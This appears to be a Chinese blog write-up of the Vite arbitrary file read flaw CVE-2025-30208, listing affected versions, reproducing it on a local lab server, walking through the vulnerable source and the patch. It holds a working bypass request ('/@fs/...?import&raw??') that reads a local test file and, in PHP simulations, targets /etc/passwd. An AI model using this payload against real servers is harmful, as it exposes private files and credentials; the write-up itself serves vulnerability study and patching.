Vite 任意文件读取漏洞(CVE-2025-30208)
99
1
2
3
4
5
6
7
8
9
10
11
12
Affected versions
>= 6.2.0, < 6.2.3
>= 6.1.0, < 6.1.2
>= 6.0.0, < 6.0.12
>= 5.0.0, < 5.4.15
< 4.5.10
Patched versions
6.2.3
6.1.2
6.0.12
5.4.15
4.5.10
99
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root㉿kali)-[/home/lll/Desktop]
└─# npm create vite@6.2.0
Need to install the following packages:
create-vite@6.2.0
Ok to proceed? (y) y
✔ Project name: … vite-project
✔ Select a framework: › Vanilla
✔ Select a variant: › TypeScript
Scaffolding project in /home/lll/Desktop/vite-project...
Done. Now run:
cd vite-project
npm install
npm run dev
99
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(root㉿kali)-[/home/lll/Desktop]
└─# cd vite-project
┌──(root㉿kali)-[/home/lll/Desktop/vite-project]
└─# npm install
added 12 packages in 21s
3 packages are looking for funding
run `npm fund` for details
┌──(root㉿kali)-[/home/lll/Desktop/vite-project]
└─# npm run dev
> vite-project@0.0.0 dev
> vite
VITE v6.2.3 ready in 190 ms
➜ Local: http://localhost:5173/
➜ Network: use --host to expose
➜ press h + enter to show help
99
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(root㉿kali)-[/home/lll/Desktop/vite-project]
└─# npm install vite@6.2.0 --save-dev
changed 1 package in 6s
3 packages are looking for funding
run `npm fund` for details
┌──(root㉿kali)-[/home/lll/Desktop/vite-project]
└─# npm run dev
> vite-project@0.0.0 dev
> vite
14:51:51 [vite] (client) Re-optimizing dependencies because lockfile has changed
VITE v6.2.0 ready in 222 ms
➜ Local: http://localhost:5173/
➜ Network: use --host to expose
➜ press h + enter to show help
9
1
2
3
┌──(root㉿kali)-[/home/lll]
└─# echo "top secret content" > /tmp/secret.txt
99
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root㉿kali)-[/home/lll]
└─# curl "http://localhost:5173/@fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.<br/><br/>- /home/lll/Desktop/vite-project<br/><br/>Refer to docs https://vite.dev/config/server-options.html#server-fs-allow for configurations and more details.</p>
<style>
body {
padding: 1em 2em;
}
</style>
</body>
9
1
2
3
4
──(root㉿kali)-[/home/lll]
└─# curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInNlY3JldC50eHQ/aW1wb3J0JnJhdz8iXSwic291cmNlc0NvbnRlbnQiOlsiZXhwb3J0IGRlZmF1bHQgXCJ0b3Agc2VjcmV0IGNvbnRlbnRcXG5cIiJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFBQSxNQUFNLENBQUMsT0FBTyxDQUFDLENBQUMsR0FBRyxDQUFDLE1BQU0sQ0FBQyxPQUFPLENBQUMsQ0FBQyJ9
99
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
export function isFileServingAllowed(
config: ResolvedConfig,
url: string,
): boolean
/**
* @deprecated Use the `isFileServingAllowed(config, url)` signature instead.
*/
export function isFileServingAllowed(
url: string,
server: ViteDevServer,
): boolean
export function isFileServingAllowed(
configOrUrl: ResolvedConfig | string,
urlOrServer: string | ViteDevServer,
): boolean {
const config = (
typeof urlOrServer === 'string' ? configOrUrl : urlOrServer.config
) as ResolvedConfig
const url = (
typeof urlOrServer === 'string' ? urlOrServer : configOrUrl
) as string
if (!config.server.fs.strict) return true
const filePath = fsPathFromUrl(url)
return isFileLoadingAllowed(config, filePath)
}
function isUriInFilePath(uri: string, filePath: string) {
return isSameFileUri(uri, filePath) || isParentDirectory(uri, filePath)
}
export function isFileLoadingAllowed(
config: ResolvedConfig,
filePath: string,
): boolean {
const { fs } = config.server
if (!fs.strict) return true
if (config.fsDenyGlob(filePath)) return false
if (config.safeModulePaths.has(filePath)) return true
if (fs.allow.some((uri) => isUriInFilePath(uri, filePath))) return true
return false
}
export function ensureServingAccess(
url: string,
server: ViteDevServer,
res: ServerResponse,
next: Connect.NextFunction,
): boolean {
if (isFileServingAllowed(url, server)) {
return true
}
if (isFileReadable(cleanUrl(url))) {
const urlMessage = `The request url "${url}" is outside of Vite serving allow list.`
const hintMessage = `
${server.config.server.fs.allow.map((i) => `- ${i}`).join('\n')}
Refer to docs https://vite.dev/config/server-options.html#server-fs-allow for configurations and more details.`
server.config.logger.error(urlMessage)
server.config.logger.warnOnce(hintMessage + '\n')
res.statusCode = 403
res.write(renderRestrictedErrorHTML(urlMessage + '\n' + hintMessage))
res.end()
} else {
// if the file doesn't exist, we shouldn't restrict this path as it can
// be an API call. Middlewares would issue a 404 if the file isn't handled
next()
}
return false
}
function renderRestrictedErrorHTML(msg: string): string {
// to have syntax highlighting and autocompletion in IDE
const html = String.raw
return html`
<body>
<h1>403 Restricted</h1>
<p>${escapeHtml(msg).replace(/\n/g, '<br/>')}</p>
<style>
body {
padding: 1em 2em;
}
</style>
</body>
`
}
99
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
export function transformMiddleware(
server: ViteDevServer,
): Connect.NextHandleFunction {
// Keep the named function. The name is visible in debug logs via DEBUG=connect:dispatcher ...
// check if public dir is inside root dir
const { root, publicDir } = server.config
const publicDirInRoot = publicDir.startsWith(withTrailingSlash(root))
const publicPath = ${publicDir.slice(root.length)}/
return async function viteTransformMiddleware(req, res, next) {
const environment = server.environments.client
if (req.method !== 'GET' || knownIgnoreList.has(req.url!)) {
return next()
}
let url: string
try {
url = decodeURI(removeTimestampQuery(req.url!)).replace(
NULL_BYTE_PLACEHOLDER,
'\0',
)
} catch (e) {
return next(e)
}
const withoutQuery = cleanUrl(url)
try {
const isSourceMap = withoutQuery.endsWith('.map')
// since we generate source map references, handle those requests here
if (isSourceMap) {
const depsOptimizer = environment.depsOptimizer
if (depsOptimizer?.isOptimizedDepUrl(url)) {
// If the browser is requesting a source map for an optimized dep, it
// means that the dependency has already been pre-bundled and loaded
const sourcemapPath = url.startsWith(FS_PREFIX)
? fsPathFromId(url)
: normalizePath(path.resolve(server.config.root, url.slice(1)))
try {
const map = JSON.parse(
await fsp.readFile(sourcemapPath, 'utf-8'),
) as ExistingRawSourceMap
applySourcemapIgnoreList(
map,
sourcemapPath,
server.config.server.sourcemapIgnoreList,
server.config.logger,
)
return send(req, res, JSON.stringify(map), 'json', {
headers: server.config.server.headers,
})
} catch {
// Outdated source map request for optimized deps, this isn't an error
// but part of the normal flow when re-optimizing after missing deps
// Send back an empty source map so the browser doesn't issue warnings
const dummySourceMap = {
version: 3,
file: sourcemapPath.replace(/\.map$/, ''),
sources: [],
sourcesContent: [],
names: [],
mappings: ';;;;;;;;;',
}
return send(req, res, JSON.stringify(dummySourceMap), 'json', {
cacheControl: 'no-cache',
headers: server.config.server.headers,
})
}
} else {
const originalUrl = url.replace(/\.map($|\?)/, '$1')
const map = (
await environment.moduleGraph.getModuleByUrl(originalUrl)
)?.transformResult?.map
if (map) {
return send(req, res, JSON.stringify(map), 'json', {
headers: server.config.server.headers,
})
} else {
return next()
}
}
}
if (publicDirInRoot && url.startsWith(publicPath)) {
warnAboutExplicitPublicPathInUrl(url)
}
if (
(rawRE.test(url) || urlRE.test(url)) &&
!ensureServingAccess(url, server, res, next)
) {
return
}
9
1
2
3
4
5
6
if (
(rawRE.test(url) || urlRE.test(url)) &&
!ensureServingAccess(url, server, res, next)
) {
return
}
9
1
2
export const urlRE = /(\?|&)url(?:&|$)/
export const rawRE = /(\?|&)raw(?:&|$)/
99
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
export function ensureServingAccess(
url: string,
server: ViteDevServer,
res: ServerResponse,
next: Connect.NextFunction,
): boolean {
if (isFileServingAllowed(url, server)) {
return true
}
if (isFileReadable(cleanUrl(url))) {
const urlMessage = `The request url "${url}" is outside of Vite serving allow list.`
const hintMessage = `
${server.config.server.fs.allow.map((i) => `- ${i}`).join('\n')}
Refer to docs https://vite.dev/config/server-options.html#server-fs-allow for configurations and more details.`
server.config.logger.error(urlMessage)
server.config.logger.warnOnce(hintMessage + '\n')
res.statusCode = 403
res.write(renderRestrictedErrorHTML(urlMessage + '\n' + hintMessage))
res.end()
} else {
// if the file doesn't exist, we shouldn't restrict this path as it can
// be an API call. Middlewares would issue a 404 if the file isn't handled
next()
}
return false
}
99
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
function ensureServingAccess($url) {
// 这里假设是一个访问控制检查的函数,简单返回 false
return false;
}
// 定义正则表达式
$urlRE = '/(\?|&)url(?:&|$)/';
$rawRE = '/(\?|&)raw(?:&|$)/';
// 测试 URL
$url = "/@fs/etc/passwd?import&raw??";
if (preg_match($rawRE, $url) || preg_match($urlRE, $url)) {
if (!ensureServingAccess($url)) {
echo "Access Denied!";
return;
}
}
echo "Access Granted!";
?>
//输出Access Granted!
9
1
2
3
4
const urlWithoutTrailingQuerySeparators = url.replace(
trailingQuerySeparatorsRE,
'',
)
99
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const urlWithoutTrailingQuerySeparators = url.replace(
trailingQuerySeparatorsRE,
'',
)
if (
(rawRE.test(urlWithoutTrailingQuerySeparators) ||
urlRE.test(urlWithoutTrailingQuerySeparators)) &&
!ensureServingAccess(
urlWithoutTrailingQuerySeparators,
server,
res,
next,
)
) {
return
}
99
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
function ensureServingAccess($url) {
// 这里假设是一个访问控制检查的函数,简单返回 false
return false;
}
// 定义正则表达式
$urlRE = '/(\?|&)url(?:&|$)/';
$rawRE = '/(\?|&)raw(?:&|$)/';
$trailingQuerySeparatorsRE = '/[?&]+$/';
// 测试 URL
$url = "/@fs/etc/passwd?import&raw??";
// 去除尾随 ? 和 &
$urlWithoutTrailingQuerySeparators = preg_replace($trailingQuerySeparatorsRE, '', $url);
if (preg_match($rawRE, $urlWithoutTrailingQuerySeparators) || preg_match($urlRE, $urlWithoutTrailingQuerySeparators)) {
if (!ensureServingAccess($urlWithoutTrailingQuerySeparators)) {
echo "Access Denied!";
return;
}
}
echo "Access Granted!";
?>
热门文章
没有评论